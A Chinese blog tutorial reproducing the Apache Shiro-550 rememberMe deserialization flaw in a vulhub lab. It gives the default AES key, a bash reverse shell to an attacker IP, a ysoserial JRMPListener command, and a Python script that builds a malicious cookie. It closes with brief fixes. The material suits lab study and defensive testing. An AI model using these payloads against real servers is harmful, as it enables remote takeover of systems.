【Shiro反序列化漏洞】Shiro-550反序列化漏洞复现

2024-03-15 03:28

本文主要是介绍【Shiro反序列化漏洞】Shiro-550反序列化漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

0x1 前言

0x2 漏洞原理

0x3 靶场搭建

1、环境准备

2、漏洞复现

shiro_attack工具

BurpShiroPassiveScan.jar插件

构造cookie,反弹shell

0x4 总结

漏洞修复:


0x1 前言

Shiro-550反序列化漏洞大约在2016年就被披露了,但感觉直到近一两年,在各种攻防演练中这个漏洞才真正走进了大家的视野,Shiro-550反序列化应该可以算是这一两年最好用的RCE漏洞之一,原因有很多:Shiro框架使用广泛,漏洞影响范围广;攻击payload经过AES加密,很多安全防护设备无法识别/拦截攻击……

0x2 漏洞原理

根据漏洞描述,Shiro≤1.2.4版本默认使用CookieRememberMeManager,其处理cookie的流程是:

先获取cookie中的remberMe值 --> 对其base64解码 --> AES解码 --> 对解密的值反序列化

然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞

payload 构造的顺序则就是相对的反着来:

构造恶意命令 --> 序列化 --> AES加密 --> base64编码 --> 发送cookie值

在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。

给师傅们分享一个我很喜欢的博主画的理解图,这个还是很形象地展示了黑客攻击的流程。

0x3 靶场搭建

1、环境准备

  • centos(192.168.103.200)搭建靶场环境,先下载docker,然后利用docker安装vulhub
  • kali(192.168.103.129)攻击机,用于接收靶机的反弹shell的

利用docker-compose启动靶场环境:

docker-compose up -d

在查看下镜像以及端口:

docker ps

然后浏览器访问192.168.103.161:8080/,得到下面的界面:

2、漏洞复现

我们先利用burp抓个登录包给大家看看rememberme字段是什么,再让大家更加好理解这个shiro漏洞。勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图这样:

我看了很多CSDN博主写的,判断其是否有shiro漏洞,总结分析如下:

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

shiro_attack工具

对于shiro550,其漏洞的核心成因是cookie中的身份信息进行了AES加解密,用于加解密的密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥。

因此,验证漏洞的核心应该还是在于我们(攻击者)可否获得这个AES加密的密钥,如果确实是固定的密钥kPH+bIxk5D2deZiIxcaaaA==或者其他我们可以通过脚本工具爆破出来的密钥,那么shiro550漏洞才一定存在。

我们利用shiro_attack工具进行图形化的分析,下面是这个工具的下载地址:

链接:https://pan.baidu.com/s/1C408FR_n1t-XbIlbPLNczw?pwd=pso6 
提取码:pso6 

利用java -jar 启动里面的.jar文件

java -jar shiro_attack-2.2.jar

我们可以看到,这个图形化的工具就很清楚检测出这个url存在shiro框架,并且还爆破出来了shiro550的迷人AES加密的key值:kPH+bIxk5D2deZiIxcaaaA==,这样就可以证明这个url存在shiro漏洞。

我们还可以进行命令执行等操作

BurpShiroPassiveScan.jar插件

我们还可以直接使用burp的抓包工具里面的插件,下面是下载链接:

百度网盘下载:
https://pan.baidu.com/s/1LFRF34kHKG5LljboSpjSkA
提取码:j43f

我们直接在burp里面添加这个插件

当BurpSuite抓取到Shiro的数据包时会自动进行检测Key,当发现存在Shiro默认key时会有相应的告警

构造cookie,反弹shell

1、

先kali监听:

┌──(root💀kali)-[~]
└─# nc -lvnp 6666 

然后我们先利用kali攻击机搭建VPS服务,存放反弹shell的payload1,IP为kali的IP地址

bash -i >& /dev/tcp/192.168.103.129/6666 0>&1

当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码,网址为:

Runtime.exec Payload Generater | AresX's Blog

得到的编码结果如下:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMy4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

2、

接下来我们利用序列化工具ysoserial.jar(工具下载,开始的百度网盘里面有)生成payload,命令如下:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMy4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

  1. java -cp ysoserial.jar: 这部分指示 Java 运行一个程序,并通过 -cp 参数设置了 classpath,告诉 Java 解释器在哪里可以找到 ysoserial.jar 文件以及它所依赖的其他类。ysoserial.jar 包含了 ysoserial 工具的代码和依赖项。
  2. ysoserial.exploit.JRMPListener 7777: 这是执行的 Java 类和它的参数。ysoserial.exploit.JRMPListener 是 ysoserial 中一个用于创建 JRMP(Java Remote Method Protocol)监听器的类。7777 是监听器将侦听的端口号。这个监听器将会等待远程 Java 应用程序连接到它,并利用反序列化漏洞。
  3. CommonsCollections5: 这是 ysoserial 中内置的一个 payload,利用了 Apache Commons Collections 库中的反序列化漏洞。CommonsCollections5 是 ysoserial 中的一种预定义 payload 类型,表示使用的是该库中的第五种利用方式。
  4. "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}": 这是 payload 的一部分,它会在成功利用漏洞后在目标系统上执行的命令。这个命令是一个经过 base64 编码的字符串,它的含义是将 bash 的标准输入连接到一个通过 base64 解码后执行的命令。解码后的命令是 bash -c 'bash -i >& /dev/tcp/192.168.200.131/6666 0>&1',它的作用是在目标系统上执行一个反向 shell,将 shell 的输入和输出重定向到指定的 IP 地址和端口,这样攻击者就可以远程控制目标系统。

3、

我们接下来进行AES加密 —> base64加密 —> 然后生成rememberMe字段

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

代码中的key:kPH+bIxk5D2deZiIxcaaaA==,我们开始利用shiro-atack工具进行破解出来了,而且shiro≤1.2.4的版本中,默认的AES加密的key都是这个,注意shiro.py的位置应当保证和ysoserial.jar在同一目录下。

这样我们就生成了请求包中rememberMe的payload2:

┌──(root💀kali)-[~/桌面/Shiro_exploit-master]
└─# python2 shiro.py 192.168.103.129:7777

rememberMe=DWUCimV9QwmfgBsoknr9X8dwZpvTzjuT7SHs69IYVjQhnFQMU9Uc87kTwI0BlqoBxxywURBNtJ/VEJa5avi3yLLwPCX7x0zwTGNrNsbOIglcGnipCVlKt0+3MAl1GcYxi5ophK+Z6Dmz6tX7pPedEve3gzShL9SYVSjUrxfAZJwoAbb45DsY56CSiLEq4iDPutC+U7OK36BbIbIz1XBxlQxU820RmAzepiDiz3y/gXjpG40bAoOoPFFHPg9IulM5cEHMhhsOnxDwpXjjwGyx564xomDrF5gMcOnA7qsFiOBRQFF4HKeIhFC8TPfhk2T629TjXufAkCac0KOUgPngbP+3FBc7bMncKLdNQNqMZYBrSqisvyOEwF/Cdm8YqMBySyeXoIYIQ51CXvnH7BNSxw==

4、

更改请求包中cookie的rememberMe字段, 我们要在这个数据包的Cookie字段后添加rememberMe字段。

然后点击发送go,返回如下,可以看到响应包中的rememberMe=deleteMe字段:

5、

这样应该就应该漏洞利用成功了,我们看一下刚才JRMP监听的端口,可以看到这个服务与靶机(192.168.103.129)进行了连接通信:

成功反弹shell,然后可以进行执行后台命令了。

0x4 总结

漏洞修复:

  • 及时升级shiro版本,不再使用固定的密钥加密。
  • 在应用程序上部署防火墙、加强身份验证等措施以提高安全性

给大家分享一个哔哩哔哩的大佬的视频:

【Shiro反序列化漏洞(一)-shiro550流程分析】 Shiro反序列化漏洞(一)-shiro550流程分析_哔哩哔哩_bilibili

这篇关于【Shiro反序列化漏洞】Shiro-550反序列化漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/810635

相关文章

Java中JSON格式反序列化为Map且保证存取顺序一致的问题

《Java中JSON格式反序列化为Map且保证存取顺序一致的问题》:本文主要介绍Java中JSON格式反序列化为Map且保证存取顺序一致的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未... 目录背景问题解决方法总结背景做项目涉及两个微服务之间传数据时,需要提供方将Map类型的数据序列化为co

RedisTemplate默认序列化方式显示中文乱码的解决

《RedisTemplate默认序列化方式显示中文乱码的解决》本文主要介绍了SpringDataRedis默认使用JdkSerializationRedisSerializer导致数据乱码,文中通过示... 目录1. 问题原因2. 解决方案3. 配置类示例4. 配置说明5. 使用示例6. 验证存储结果7.

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

SpringBoot实现Kafka动态反序列化的完整代码

《SpringBoot实现Kafka动态反序列化的完整代码》在分布式系统中,Kafka作为高吞吐量的消息队列,常常需要处理来自不同主题(Topic)的异构数据,不同的业务场景可能要求对同一消费者组内的... 目录引言一、问题背景1.1 动态反序列化的需求1.2 常见问题二、动态反序列化的核心方案2.1 ht

SpringBoot项目中Redis存储Session对象序列化处理

《SpringBoot项目中Redis存储Session对象序列化处理》在SpringBoot项目中使用Redis存储Session时,对象的序列化和反序列化是关键步骤,下面我们就来讲讲如何在Spri... 目录一、为什么需要序列化处理二、Spring Boot 集成 Redis 存储 Session2.1

Java controller接口出入参时间序列化转换操作方法(两种)

《Javacontroller接口出入参时间序列化转换操作方法(两种)》:本文主要介绍Javacontroller接口出入参时间序列化转换操作方法,本文给大家列举两种简单方法,感兴趣的朋友一起看... 目录方式一、使用注解方式二、统一配置场景:在controller编写的接口,在前后端交互过程中一般都会涉及

C++如何通过Qt反射机制实现数据类序列化

《C++如何通过Qt反射机制实现数据类序列化》在C++工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作,所以本文就来聊聊C++如何通过Qt反射机制实现数据类序列化吧... 目录设计预期设计思路代码实现使用方法在 C++ 工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作。由于数据类

如何配置Spring Boot中的Jackson序列化

《如何配置SpringBoot中的Jackson序列化》在开发基于SpringBoot的应用程序时,Jackson是默认的JSON序列化和反序列化工具,本文将详细介绍如何在SpringBoot中配置... 目录配置Spring Boot中的Jackson序列化1. 为什么需要自定义Jackson配置?2.

Django序列化中SerializerMethodField的使用详解

《Django序列化中SerializerMethodField的使用详解》:本文主要介绍Django序列化中SerializerMethodField的使用,具有很好的参考价值,希望对大家有所帮... 目录SerializerMethodField的基本概念使用SerializerMethodField的

Jackson库进行JSON 序列化时遇到了无限递归(Infinite Recursion)的问题及解决方案

《Jackson库进行JSON序列化时遇到了无限递归(InfiniteRecursion)的问题及解决方案》使用Jackson库进行JSON序列化时遇到了无限递归(InfiniteRecursi... 目录解决方案‌1. 使用 @jsonIgnore 忽略一个方向的引用2. 使用 @JsonManagedR